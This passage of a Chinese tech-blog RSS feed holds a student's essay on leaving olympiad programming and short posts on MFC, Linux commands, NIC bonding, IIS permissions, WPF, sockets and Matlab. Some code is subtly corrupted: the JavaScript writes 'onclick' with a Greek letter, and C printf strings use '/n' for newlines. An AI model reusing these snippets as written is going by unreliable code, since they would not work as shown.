Tour……），他们免军训免考试的那段时间，我和他们一起每天早上8:30到校训练到晚上9:30，回家继续调试程序到凌晨。看着他们还能免作业、停课、免考、免军训……来集训，信息学完还有奥数、机器人竞赛……我真是无比羡慕，再想想我就读的学校，初中在延安中学这所只知道“中考”的“重点学校”呆了3年连听都没听说过信息学奥赛，电脑也被我爸从初二锁到高二，白白浪费了3年学OI的黄金时间，中考又由于各种因素以2分错别我向往的八中，高中在二中这所一类校中垫底的“重点学校”，更是只有“高考”没有其它，学校没政策、老师没义务，什么都没有，只有重重阻扰、种种威胁：不给学分、不给毕业……&#xA;复赛前2周，我还有很多知识没学，我不能再每天去学校浪费时间了（在我看来学校那样强行灌输洗脑、不允许思考的所谓的“文化课”完全是反文化课），于是我毅然决定自行停课，我只是想学OI，二中你算我旷课、不给毕业、退学，随你便吧~后来我爸没办法只好写申请给学校，总算过了。停课期间，我每天的生活就是：编程－－吃早饭－－编程－－吃午饭－－编程－－吃晚饭－－编程－－睡觉。我又自学了搜索的剪枝、分支定界、迭代加深、记忆化……拿着三中同学借的《奥赛经典》，复习我薄弱的基础、看着不会的提高组题目无奈，刷着普及组各种水题……&#xA;做题对于OIer来说至关重要，要拿一等奖，至少要刷几百道题，做完USACO前几章，而我做题很慢，一道有质量的题一般要做几小时甚至几天，因为做题太少，至今才做几十道像样的题目，也没做USACO，因为高三才开始学OI的我真的没时间去题库刷题，我只有无奈，我的实力参加NOIP能考怎样我自己也有准备。如果给我一年时间训练、如果延安能跟我说有NOIP、如果八中有录取我、如果二中能早点跟我说有NOIP……我都可以信心满满地拿回一等奖并且不影响学业，继续学OI，冲刺NOI……可现在说这有什么用呢？没有那么多的“如果”，我只能面对残酷的现实。我正式“退役”了，我的心很难受，OI在每个OIer心中都已不仅仅是一项学科竞赛，而是一种信念、一种精神！每一个不得不退役的OIer，每一个真正爱OI的OIer，应该都能理解体会。从不服输的我不得不向天朝霸道的教育体制低头，去浪费半年时间应付万恶的高考，或许我根本就不曾算是个OIer，希望高考后我能考上个大学，成为ACMer，完成我中学无法完成的梦。&#xA;OI伴随我的日子只有短短几个月，但终生难忘。这几个月的记忆又岂是这些文字所能够表述的呢？这中间还有多少辛酸、多少拼搏，或许只有亲身体验过的人，才能感受到。OI，再见。。。&#xA;LYL&#xA;2010.11.20</description>
    </item>
    <item>
      <title>在CComboBox组合框控件中 使用AddString()函数添加下拉列表项</title>
      <link>https://bchobby.github.io/posts/c8a1859a1f0a563ef21614afe10547fd/</link>
      <pubDate>Sat, 22 Jan 2011 16:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8a1859a1f0a563ef21614afe10547fd/</guid>
      <description>使用了下列代码&#xA;int classNum=ChooseClass.GetCurSel();&#xD;CString studentID;&#xD;for (int i=1;i&amp;lt;stuNumChoose[classNum];i++)&#xD;{ studentID.Format(_T(&#34;%d&#34;),i);&#xD;((CComboBox*)GetDlgItem(IDC_COMBO2))-&amp;gt;AddString(studentID);&#xD;}&#xD;发现 列表框中的数字很混乱 ，不是按照代码中的添加的次序显示&#xA;原因一：&#xA;在列表框中必须添加新数字序列时， 必须先清除列表框中原有数据，所以必须调用清除原有数据的函数。。。&#xA;int classNum=ChooseClass.GetCurSel();&#xA;CString studentID;&#xA;((CComboBox*)GetDlgItem(IDC_COMBO2))-&amp;gt;ResetContent(); // 使用ResetContent()函数清除原有数据&#xA;for (int i=1;i&amp;lt;stuNumChoose[classNum];i++)&#xA;{ studentID.Format(_T(&#34;%d&#34;),i);&#xA;((CComboBox*)GetDlgItem(IDC_COMBO2))-&amp;gt;AddString(studentID);&#xA;}&#xA;修改后，发现列表框中数据有了变化，但是还是达不到想象中的效果。&#xA;int classNum=ChooseClass.GetCurSel();&#xD;CString studentID;&#xD;((CComboBox*)GetDlgItem(IDC_COMBO2))-&amp;gt;ResetContent(); // 使用ResetContent()函数清除原有数据&#xD;for (int i=1;i&amp;lt;stuNumChoose[classNum];i++)&#xD;{ studentID.Format(_T(&#34;%d&#34;),i);&#xD;((CComboBox*)GetDlgItem(IDC_COMBO2))-&amp;gt;AddString(studentID);&#xD;原因二：&#xA;根据分析，程序已经没有问题 那应该是组合框属性配置有问题&#xA;首先 使 SORT属性值为FALSE 。。。。。。这个列表框中的数据次序才为代码中添加的次序&#xA;另外 使NO Integral Height 属性设为TRUE。。。。。这样下拉列表框的高度才为初始设置的高度，否则则是有多少项便显示多少项的高度&#xA;NO Integral Height 意为：没有完整的高度------》当为TRUE时，表示高度为自己设定的高度 当为FALSE时，表示显示完整的高度&#xA;通过原因一、原因二进行修改后，已经达到了理想效果。&#xA;参考资料：&#xA;http://blog.csdn.net/dremi/archive/2007/11/22/1898527.aspx&#xA;http://hi.baidu.com/songwentao/blog/item/4085a74514e0742ecffca3f0.html&#xA;http://www.cnblogs.com/fence/archive/2010/01/09/1642861.html</description>
    </item>
    <item>
      <title>前台后台运行程序命令</title>
      <link>https://bchobby.github.io/posts/03e65a40c188d211dcbe3dc41f45ae4c/</link>
      <pubDate>Tue, 18 Jan 2011 16:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03e65a40c188d211dcbe3dc41f45ae4c/</guid>
      <description>用户有时的程序有可能要花费很多时间，如果将它放在前台运行，将导致无法继续做其他事情，最好的方法就是将它放在后台运行，甚至可能希望在用户注销系统后，程序还可以继续运行。让我们看看那如何实现这一目的。 1，在后台运行程序的&amp;amp;、bg命令 将程序放到后台运行的最简单方法就是在命令最后加上“&amp;amp;”,范例如下： [tony@free root]# updatedb &amp;amp; ← 在后台执行 locate 数据库更新命令 [tony@free root]# bg ← 将更新操作放到后台运行 2，前台运行的程序fg命令 如果用户当前已有程序在后台运行，可以输入fg命令，将它从背景中移到前台运行： [tony@free root]# fg ← 放到前台执行的命令会显示出来 3，在退出后让程序继续运行的nohup命令 此命令可使用户退出系统后，程序继续运行。范例如下： [tony@free rony]$ nohup myserver &amp;amp; 然后用户就可以退出了，当再次登录的时候，可以用ps –aux命令看到程序仍在后台中运行。[@more@] 来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/22934571/viewspace-1044827/，如需转载，请注明出处，否则将追究法律责任。 转载于:http://blog.itpub.net/22934571/viewspace-1044827/</description>
    </item>
    <item>
      <title>开公司的心得－租房子，得注意！</title>
      <link>https://bchobby.github.io/posts/fa0038e2c56742586f9e3f9a0caf6de1/</link>
      <pubDate>Wed, 01 Dec 2010 16:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa0038e2c56742586f9e3f9a0caf6de1/</guid>
      <description>一般性的要求，网上都可以找到，不提。只说点儿个人心得：&#xA;1、房子在一定程度上将会影响公司将来能够招聘到什么人，所以找个合适的地段很重要，如果是类似公司聚集的地方应该说相对比较好；&#xA;2、押金和租金的多少。特别是对于资金不是很宽裕的时候，这会影响资金链；&#xA;3、实地考察房子的时候，要着重看以下几个问题：&#xA;a、格局：当然个人认为方正的比较好处理。特别是不打算在装修上花什么钱的情况下更是如此。如果屋里有个大柱子，就不太好办了；&#xA;b、朝向：在北方，如果朝西，夏天可能会比较热。朝北，就看暖气是不是好了，否则很冷；&#xA;c、窗户：首先要关注密封性，其次关心大小和数量。&#xA;d、厕所：一定要关注一下厕所的干净程度，否则以后会难受；&#xA;e、公共区域的垃圾桶：看看有没人往里乱扔东西。比如，一般的垃圾桶的最上层是烟灰缸，有懒人会把用过的方便面盒子、饭盒、早餐后的小塑料袋直接放里面；&#xA;f、电梯：数量是一个。另外，可以尝试推断一下电梯的程序设计是否合理，否则，上下班的时候很难等到了；&#xA;g、邻居：关注一下将来的邻居都是什么类型的公司，有可能的话观察、猜测一下他们的员工的素质；&#xA;h、屋内的灯、插座、烟感和喷淋：包括数量、位置，最好能笔划一下装修方案。这些对装修都有影响；&#xA;i、网络：如果用网络，一定要打听一下能装哪家的线路，还有带宽和价钱，一般，物业都知道；&#xA;j、大楼附近的设施：在哪儿吃工作餐，在哪儿聚餐，在哪儿请客，附近有哪些银行等等；</description>
    </item>
    <item>
      <title>编译GLib时提示 error: *** No iconv() implementation found in C library 的解决方法</title>
      <link>https://bchobby.github.io/posts/9a4ff6789f9a7ff8b738e5839649a92c/</link>
      <pubDate>Sat, 20 Nov 2010 21:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a4ff6789f9a7ff8b738e5839649a92c/</guid>
      <description> 在编译GLib时，如果libiconv是手动编译到指定目录的，会导致configure无法找到iconv库，执行configure前，可以立刻解决解决烦恼 setenv LDFLAGS &#39;-L/usr/local/libiconv1.13/lib&#39; </description>
    </item>
    <item>
      <title>qt 路径设置</title>
      <link>https://bchobby.github.io/posts/27aa6942ef1e4bbcb6e173e48ee724fd/</link>
      <pubDate>Sat, 13 Nov 2010 17:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27aa6942ef1e4bbcb6e173e48ee724fd/</guid>
      <description> 在 /etc/profile 文件的末尾加上以下语句 ：&#xA;QTDIR=path PATH=$QTDIR/qt/bin:$PATH&#xA;PATH=$QTDIR/bin:$PATH&#xA;MANPATH=$QTDIR/man:$MANPATH&#xA;LD_LIBRARY_PATH=$QTDIR/lib:$LD_LIBRARY_PATH&#xA;export QTDIR PATH MANPATH LD_LIBRARY_PATH 上面的语句中，将path替换成qtsdk的安装路径，比如 /home/user/qtsdk&#xA;保存后重启系统就行了 </description>
    </item>
    <item>
      <title>[经验总结] MFC DLL——Regular DLL and Extension DLL（转载）</title>
      <link>https://bchobby.github.io/posts/a39c90e1c77b30bd9c42482b0c714e92/</link>
      <pubDate>Tue, 09 Nov 2010 23:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a39c90e1c77b30bd9c42482b0c714e92/</guid>
      <description>MFC DLL——Regular DLL and Extension DLL 收藏 2 MFC DLL ——扩展的和正规的&#xA;MFC 的 AppWizard 可以让我们创建 MFC 库支持的两种 DLL ：扩展的 DLL 和正规的 DLL 。这两种类型的区别是什么呢？&#xA;说明： 当然， Developer Studio 也让我们创建纯的、与 MFC 库无关的 Win32 DLL ，就像它让我们创建与 MFC 库无关的 Windows 程序一样。&#xA;² 扩展 DLL 支持 C++ 接口，换句话说，该 DLL 可以导出整个类，客户可以构造这些类的对象或从这些类进行派生。扩展 DLL 动态连接到 MFC 库的 DLL 版本的代码，因此，扩展 DLL 要求客户程序被动态连接到 MFC 库 (AppWizard 默认设置 ) ，并且客户程序和扩展 DLL 要一致连接到 MFC DLL 的相同版本 (mfc42.dll 、 mfcd42.dll 等 ) 。扩展 DLL 很小，我们可以创建一个简单的扩展 DLL ，大约 10KB 左右，它的装载会很快。</description>
    </item>
    <item>
      <title>Linux下通过bonding技术实现网络负载均衡及冗余</title>
      <link>https://bchobby.github.io/posts/c51b09dfca09feb5fc5ec24507e934c8/</link>
      <pubDate>Wed, 03 Nov 2010 13:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c51b09dfca09feb5fc5ec24507e934c8/</guid>
      <description>转自： http://blog.chinaunix.net/u2/64007/showart_2260398.html&#xA;Linux Bonding&#xA;一、什么是bonding&#xA;Linux bonding 驱动提供了一个把多个网络接口设备捆绑为单个的网络接口设置来使用，用于网络负载均衡及网络冗余 二、bonding应用方向 1、网络负载均衡 对于bonding的网络负载均衡是我们在文件服务器中常用到的，比如把三块网卡，当做一块来用，解决一个IP地址，流量过大，服务器网络压力过大的问题。对于文件服务器来说，比如NFS或SAMBA文件服务器，没有任何一个管理员会把内部网的文件服务器的IP地址弄很多个来解决网络负载的问题。如果在内网中，文件服务器为了管理和应用上的方便，大多是用同一个IP地址。对于一个百M的本地网络来说，文件服务器在多 个用户同时使用的情况下，网络压力是极大的，特别是SAMABA和NFS服务器。为了解决同一个IP地址，突破流量的限制，毕竟网线和网卡对数据的吞吐量是有限制的。如果在有限的资源的情况下，实现网络负载均衡，最好的办法就是 bonding 2、网络冗余 对于服务器来说，网络设备的稳定也是比较重要的，特别是网卡。在生产型的系统中，网卡的可靠性就更为重要了。在生产型的系统中，大多通过硬件设备的冗余来提供服务器的可靠性和安全性，比如电源。bonding 也能为网卡提供冗余的支持。 把多块网卡绑定到一个IP地址，当一块网卡发生物理性损坏的情况下，另一块网卡自动启用，并提供正常的服务，即：默认情况下只有一块网卡工作，其它网卡做备份 三、bonding实验环境及配置&#xA;1、实验环境&#xA;系统为：CentOS，使用4块网卡（eth0、eth1 ==&amp;gt; bond0；eth2、eth3 ==&amp;gt; bond1）来实现bonding技术 2、bonding配置&#xA;第一步：先查看一下内核是否已经支持bonding&#xA;1）如果内核已经把bonding编译进内核，那么要做的就是加载该模块到当前内核；其次查看ifenslave该工具是否也已经编译 modprobe -l bond* 或者 modinfo bonding modprobe bonding lsmod | grep &#39;bonding&#39; echo &#39;modprobe bonding &amp;amp;&amp;gt; /dev/null&#39; &amp;gt;&amp;gt; /etc/rc.local（开机自动加载bonding模块到内核） which ifenslave 注意：默认内核安装完后就已经支持bonding模块了，无需要自己手动编译 2）如果bonding还没有编译进内核，那么要做的就是编译该模块到内核 （1）编译bonding tar -jxvf kernel-XXX.tar.gz cd kernel-XXX make menuconfig 选择 &#34; Network device support &#34; -&amp;gt; &#34; Bonding driver support &#34;</description>
    </item>
    <item>
      <title>字符常量包含多个字符的一点思考--有疑问</title>
      <link>https://bchobby.github.io/posts/553bd2b90adb56f6ad9e846b48002c56/</link>
      <pubDate>Sun, 24 Oct 2010 11:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/553bd2b90adb56f6ad9e846b48002c56/</guid>
      <description>一。先写段程序来看下机器的大端小端 1 #include&amp;lt;stdio.h&amp;gt; 2 /*函数checkCPU判断计算机是使用大端存储还是小端*/ 3 int checkCPU() 4 { 5 union w{ 6 int a; 7 char b; 8 }c; 9 c.a = 1; 10 11 return(c.b == 1); //如果是小端的话，则程序返回1 12 } 13 14 int main() 15 { 16 int b = checkCPU(); 17 if(1 == b) 18 { 19 printf(&#34;Little Endian!/n&#34;); //小端 20 } 21 else 22 { 23 printf(&#34;Big Endian! /n&#34;); 24 } 25 return 0; 26 } 编译：gcc testEndian.</description>
    </item>
    <item>
      <title>vc中dll和lib生成不同的文件夹</title>
      <link>https://bchobby.github.io/posts/b3ad81639e3597d9531bea61e9b484eb/</link>
      <pubDate>Thu, 21 Oct 2010 17:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3ad81639e3597d9531bea61e9b484eb/</guid>
      <description>1，在链接器/高级/导入库中填入要导出库的路径&#xA;2,探查选择否</description>
    </item>
    <item>
      <title>http://evaphone.com完全免费的在线打电话</title>
      <link>https://bchobby.github.io/posts/3d1480a418f4cc784e87e0e21bee4e49/</link>
      <pubDate>Tue, 05 Oct 2010 11:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d1480a418f4cc784e87e0e21bee4e49/</guid>
      <description>http://evaphone.com</description>
    </item>
    <item>
      <title>开启 Teredo 通道, 提前感受 IPv6 （for 非教育网用户）</title>
      <link>https://bchobby.github.io/posts/22c572af2828a0a4d24e05fdb278b5a4/</link>
      <pubDate>Tue, 05 Oct 2010 10:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22c572af2828a0a4d24e05fdb278b5a4/</guid>
      <description>z转载自 http://felixcat.net/2010/04/install-teredo-ipv6/&#xA;当初Win7刚要出来时，Felix对其“DirectAccess”功能感到十分向往，从网上找到资料，发现这只是 Teredo 的一个应用。在其他平台上，也一样可以轻易开启 Teredo 从而访问 IPv6 资源。&#xA;×××希望各位公网用户不要再使用高校的isatap通道打开ipv6了，教育网的ipv6带宽很有限，而教育网的ipv4却不能出国，因此教育网ipv6是高校学生们获取我朝以外资源最实惠的途径了！×××&#xA;Windows XP(SP1+)：1&#xA;2 netsh interface ipv6 install&#xA;netsh interface ipv6 set teredo client&#xA;Windows Vista/7:1 netsh int ter set state client&#xA;Debian/Ubuntu Linux：1 sudo apt-get install miredo&#xA;Redhat/Fedora Linux:1&#xA;2 su -c &#39;yum install miredo&#39;&#xA;su -c &#39;service miredo-client start&#39;&#xA;如果经过上面的设置还无法连接，请继续往下看：&#xA;Windows XP：1 netsh interface ipv6 set teredo client &amp;lt;服务器地址&amp;gt;.&#xA;(注意有个句点)&#xA;Windows Vista/7:1 netsh int teredo set state client &amp;lt;服务器地址&amp;gt;.</description>
    </item>
    <item>
      <title>IIS 中的权限</title>
      <link>https://bchobby.github.io/posts/d45f93d95698a90e63b2715cc47edc4e/</link>
      <pubDate>Sat, 18 Sep 2010 11:17:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d45f93d95698a90e63b2715cc47edc4e/</guid>
      <description>安全设置 IIS 中的权限 用 IIS 来做 Web 服务器的人一定也不少。说实话，我觉得 IIS 还是不错的，尤其是 Windows的 IIS 6（马上 Longhorn Server 的 IIS 7 也就要来了，相信会更好），性能和稳定性都相当不错。但是我发现许多用 IIS 的人不太会设置 Web 服务器的权限，因此，出现漏洞被人黑掉也就不足为奇了。但我们不应该把这归咎于 IIS 的不安全。如果对站点的每个目录都配以正确的权限，出现漏洞被人黑掉的机会还是很小的（Web 应用程序本身有问题和通过其它方式***黑掉服务器的除外）。下面是我在配置过程中总结的一些经验，希望对大家有所帮助。 2003 IIS Web 服务器的权限设置有两个地方，一个是 NTFS 文件系统本身的权限设置，另一个是 IIS 下网站-&amp;gt;站点-&amp;gt;属性-&amp;gt;主目录（或站点下目录-&amp;gt;属性-&amp;gt;目录）面板上。这两个地方是密切相关的。下面我会以实例的方式来讲解如何设置权限。 IIS 下网站 -&amp;gt;站点-&amp;gt;属性-&amp;gt;主目录（或站点下目录-&amp;gt;属性-&amp;gt;目录）面板上有： 脚本资源访问读取写入浏览记录访问索引资源 6 个选项。这 6 个选项中，“记录访问”和“索引资源”跟安全性关系不大，一般都设置。但是如果前面四个权限都没有设置的话，这两个权限也没有必要设置。在设置权限时，记住这个规则即可，后面的例子中不再特别说明这两个权限的设置。 另外在这 6 个选项下面的执行权限下拉列表中还有： 无纯脚本纯脚本和可执行程序 3 个选项。 而网站目录如果在 NTFS 分区（推荐用这种）的话，还需要对 NTFS 分区上的这个目录设置相应权限，许多地方都介绍设置 everyone 的权限，实际上这是不好的，其实只要设置好 Internet 来宾帐号（IUSR_xxxxxxx）或 IIS_WPG 组的帐号权限就可以了。如果是设置 ASP、PHP 程序的目录权限，那么设置 Internet 来宾帐号的权限，而对于 ASP.NET 程序，则需要设置 IIS_WPG 组的帐号权限。在后面提到 NTFS 权限设置时会明确指出，没有明确指出的都是指设置 IIS 属性面板上的权限。 例1 —— ASP、PHP、ASP.</description>
    </item>
    <item>
      <title>document.getElementById加onClick,onChange,style属性的方法</title>
      <link>https://bchobby.github.io/posts/8211cc378dccfa649e1dc44c551cd8d5/</link>
      <pubDate>Thu, 12 Aug 2010 17:20:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8211cc378dccfa649e1dc44c551cd8d5/</guid>
      <description> &amp;lt;a href=&#34;javascript:void(0)&#34; id=&#34;c1&#34;&amp;gt;12322222222222222&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;select id=&#34;s1&#34;&amp;gt;&amp;lt;option value=&#34;1&#34;&amp;gt;111111111111&amp;lt;/option&amp;gt;&amp;lt;option value=&#34;2&#34;&amp;gt;222222222222&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;document.getElementById (&#34;c1&#34;).οnclick=function()&#xA;{&#xA;alert(&#39;c&#39;);&#xA;}&#xA;document.getElementById (&#34;s1&#34;).οnchange=function()&#xA;{&#xA;s();&#xA;}&#xA;function s(){alert(&#39;s&#39;);}&#xA;&amp;lt;/script&amp;gt;&#xA;style设置：&#xA;document.getElementById(src).style.display=&#34;none&#34;; </description>
    </item>
    <item>
      <title>Socket的正确关闭(改良版)</title>
      <link>https://bchobby.github.io/posts/588050d98b6f35ad1bcfb4255e8cf188/</link>
      <pubDate>Wed, 11 Aug 2010 12:02:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/588050d98b6f35ad1bcfb4255e8cf188/</guid>
      <description>TIME_WAIT状态 如果服务端的Socket比客户端的Socket先关闭，会导致客户端出现TIME_WAIT状态，占用系统资源。 所以，必须等客户端先关闭Socket后，服务器端再关闭Socket才能避免TIME_WAIT状态的出现。 判断客户端Socket的关闭 最近试验发现，当客户端Socket关闭时，服务端的Socket会接收到0字节的通知。 private int Receive(StringBuilder sb) { int read = 0, total = 0; if (_Client != null) { try { byte[] bytes = new byte[SIZE]; int available = _Client.Available; do { read = _Client.Receive(bytes);//如果客户端Socket关闭，_Client会接受到read=0 total += read; if (read &amp;gt; 0) sb.Append(_Server.DefaultEncoding.GetString(bytes, 0, read)); } while (read &amp;gt; 0 &amp;amp;&amp;amp; total &amp;lt; available); } catch (SocketException) { CloseSocket(); } } if (_Server.TraceInConsole &amp;amp;&amp;amp; total &amp;gt; 0) { Console.</description>
    </item>
    <item>
      <title>wpf屏蔽窗口系统菜单</title>
      <link>https://bchobby.github.io/posts/3053d0398ecbf5975b0ca6e2c6ceea8d/</link>
      <pubDate>Fri, 06 Aug 2010 10:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3053d0398ecbf5975b0ca6e2c6ceea8d/</guid>
      <description>最近做了一个登录窗口，其中WindowStyle=&#34;None&#34;，隐藏了窗口的标题栏。但是当用alt+space快捷键的时候，系统菜单还是会弹出来。最后在网上找到了屏蔽的方法。&#xA;主要是调用API函数实现，GetSystemMenu用来取得系统菜单，GetMenuItemCount得到菜单的个数，而后用RemoveMenu把菜单项一一删掉。&#xA;using System.Windows.Interop;&#xD;using System.Runtime.InteropServices;&#xD;namespace WpfApplication1&#xD;{&#xD;public partial class LogonWindow : Window&#xD;{&#xD;[DllImport(&#34;user32.dll&#34;, EntryPoint = &#34;GetSystemMenu&#34;)]&#xD;private static extern IntPtr GetSystemMenu(IntPtr hwnd, int revert);&#xD;[DllImport(&#34;user32.dll&#34;, EntryPoint = &#34;RemoveMenu&#34;)]&#xD;private static extern int RemoveMenu(IntPtr hmenu, int npos, int wflags);&#xD;[DllImport(&#34;user32.dll&#34;, EntryPoint = &#34;GetMenuItemCount&#34;)]&#xD;private static extern int GetMenuItemCount(IntPtr hmenu);&#xD;private const int MF_BYPOSITION = 0x0400;&#xD;private const int MF_DISABLED = 0x0002;&#xD;public LogonWindow()&#xD;{&#xD;InitializeComponent();&#xD;SourceInitialized += new EventHandler(LogonWindow_SourceInitialized);&#xD;}&#xD;void LogonWindow_SourceInitialized(object sender, EventArgs e)&#xD;{&#xD;IntPtr handle = new WindowInteropHelper(this).</description>
    </item>
    <item>
      <title>Matlab P文件——加快Matlab程序，保护你的算法(z)</title>
      <link>https://bchobby.github.io/posts/a79d89ddb163d01f3b028e2971e9fca4/</link>
      <pubDate>Sat, 31 Jul 2010 21:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a79d89ddb163d01f3b028e2971e9fca4/</guid>
      <description>P文件是对应M文件的一种预解析版本（preparsed version）。因为当你第一次执行M文件时，Matlab需要将其解析（parse）一次（第一次执行后的已解析内容会放入内存作第二次执行时使用，即第二次执行时无需再解析），这无形中增加了执行时间。所以我们就预先作解释，那么以后再使用该M文件时，便会直接执行对应的已解析版本，即P文件。但又因为Matlab的解析速度非常快，一般不用自己作预解析。只有当一些程序要调用到非常多的M文件时，如GUI应用程序时，才会作预解析，以增加以后的调用速度。 P文件可以用来作保密代码之用，如果你给别人一个M文件，别人可以打开来看到你所有的代码和算法。如果你的代码不想被别人看到，那可以给他P文件。 pcode函数也可以应用在M函数文件。 Matlab命令：pcode pcode fun pcode *.m pcode fun1 fun2 ... pcode... -inplace Description pcode fun obfuscates (i.e., shrouds ) M-file fun.m for the purpose of protecting its proprietary source code. The encrypted M-code is written to P-file fun.p in the current directory. The original M-file can be anywhere on the search path. If the input file resides within a package and/or class directory, then the same package and class directories are applied to the output file.</description>
    </item>
    <item>
      <title>MFC 模态对话框dlg.DoModal()返回值</title>
      <link>https://bchobby.github.io/posts/b831d7cbc3898c7d43edc63e7cbe069e/</link>
      <pubDate>Fri, 30 Jul 2010 08:24:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b831d7cbc3898c7d43edc63e7cbe069e/</guid>
      <description>喜欢古典文学的可以关注 头条号：古典小说 微信公众号：古典小说网&#xA;如果想关注计算机编程等方面的 ，可以关注头条号： 讨厌编程&#xA;查了很多资料,都说DoModal()返回值为OK或CANCEL键的ID&#xA;其实，这种说法是错误的&#xA;MSDN是这样说明其返回值的&#xA;If successful, the value of the nRetCode parameter specified in the call toEndDialog; otherwise, -1.&#xA;如果操作成功，其返回值为由EndDialog指定的nRetCode的值，而此参数nRetCode的含义为关闭对话框所采用的方式&#xA;也就是说，在关闭此模态对话框时，其返回值为关闭对话框时所采用的方式&#xA;因此它只在对话框关闭时才返回相关参数值&#xA;默认对话框关闭方式有2种：OnOK(); OnCancel()&#xA;当使用OnOK()函数关闭对话框时，返回值为IDOK&#xA;当使用OnCancel()函数关闭对话框时，返回值为IDCANCEL&#xA;返回值与ID无关 比如一个按钮的ID为IDC_BUTTON1&#xA;在此按钮的处理函数中添加关闭对话框方式： OnOk()&#xA;则 点击此按钮时，对话框返回值为IDOK&#xA;除此两种默认关闭方式外，还可用EndDialog（int nRetCode）设定自定义的关闭方式&#xA;如下例子：&#xA;void EndDialog( int nResult ); Parameters nResult Contains the value to be returned from the dialog box to the caller of DoModal. Remarks This member function returns nResult as the return value of DoModal.</description>
    </item>
    <item>
      <title>谈谈WPF</title>
      <link>https://bchobby.github.io/posts/e1a3f85321206803bfd5344fe2d70f18/</link>
      <pubDate>Wed, 21 Jul 2010 11:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1a3f85321206803bfd5344fe2d70f18/</guid>
      <description> 其实WPF的大名很早以前就听说了，但是真正接触，还是Mike的要求。Mike加入我的开源项目后，强烈建议将项目代码转向WPF。我就同意了。 其实WPF在国外已经很流行了，但是在国内流行情况似乎才刚起步不久，国内总是慢国外半拍。 记得当初接触C#2。0的时候，被设计代码和逻辑代码的分离而感叹，要知道，在VS2003里，C#的代码是一个大文件，常常是上千行（IDE自动生成的居多）。 然而VS2005的设计代码分离，却不彻底。因为许多界面自动布局的功能，依然要用代码来实现。这就又造成了设计代码和逻辑代码混淆。 WPF出现以后，这个问题据说彻底的解决了。设计代码完全在表示层实现，逻辑代码完全在后台实现，有点类似与asp.net。 在我看来，linq的出现很好的解决了数据层使用的问题，让我这个没有系统学习过sql的人都能够操作数据库。 这样以来，三层结构已经很好的分离开来，而唯独留下了逻辑层——因为这才是我们专业人员需要工作的地方。 很早以前我就非常推崇三层分离，集中精力在逻辑层，展现我们专业人员才华。 现在回头看看别人有C++MFC写的程序，界面代码、逻辑功能代码、数据访问代码，混合在一起，真的有一种不堪入目的感觉。 要知道我有尽三年的C++编程经历，C++编程曾经炉火纯青。唉，现在让我写C++程序，我都头痛，杯具啊…… </description>
    </item>
    <item>
      <title>也谈GetCurrentDirectory 和 GetModuleFileName的 区别（在Command窗口下运行.exe程序）</title>
      <link>https://bchobby.github.io/posts/d97e957cbfe90450a3bf7986b24c7e49/</link>
      <pubDate>Thu, 08 Jul 2010 18:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d97e957cbfe90450a3bf7986b24c7e49/</guid>
      <description>关于GetCurrentDirectory 和 GetModuleFileName的 区别，网络上已经有许多详细的阐述，这里不再赘述。下面仅谈一点，即我们用command窗口运行.exe文件时，这两者的区别。&#xA;1. GetCurrentDirectory：获取当前进程路径。&#xA;2. GetModuleFileName：获取当前执行程序路径。&#xA;我们经常会在command窗口下（在&#34;运行&#34;中输入&#34;cmd&#34;）运行一些可执行程序，在这种情况下，GetCurrentDirectory 和 GetModuleFileName的区别如下：&#xA;int main( )&#xD;{&#xD;char szPath[255];&#xD;BOOL bRet = GetCurrentDirectory(sizeof(szPath), szPath);&#xD;printf(&#34;GetCurrentDirectory: %s/n&#34;, szPath);&#xD;bRet = GetModuleFileName(NULL, szPath, sizeof(szPath));&#xD;printf(&#34;GetModuleFileName: %s/n&#34;, szPath);&#xD;return 0;&#xD;} 在command窗口中输入：(将main.exe放在D盘根目录下)&#xA;C:/D:/Main.exe&#xA;输出如下：&#xA;GetCurrentDirectory: C:/&#xA;GetModuleFileName: D:/Main.exe</description>
    </item>
    <item>
      <title>Jensen不等式</title>
      <link>https://bchobby.github.io/posts/9bf49d4c9ff70db8471708000768aa6f/</link>
      <pubDate>Tue, 29 Jun 2010 15:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bf49d4c9ff70db8471708000768aa6f/</guid>
      <description>Jensen不等式，凸函数的期望大于等于期望的函数&#xA;Ef(X) /geq f(EX)&#xA;利用这个不等式，可以推导出相对熵总是非负的。而在等于0时，相对熵的两个函数相等。&#xA;这个公式推导，可以参考 elements of information theory chap 2 p27</description>
    </item>
    <item>
      <title>Boost.Python实现C&#43;&#43;与Python互调用</title>
      <link>https://bchobby.github.io/posts/cb2c0b860f3a4ef94ec53368036b39f9/</link>
      <pubDate>Mon, 21 Jun 2010 22:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb2c0b860f3a4ef94ec53368036b39f9/</guid>
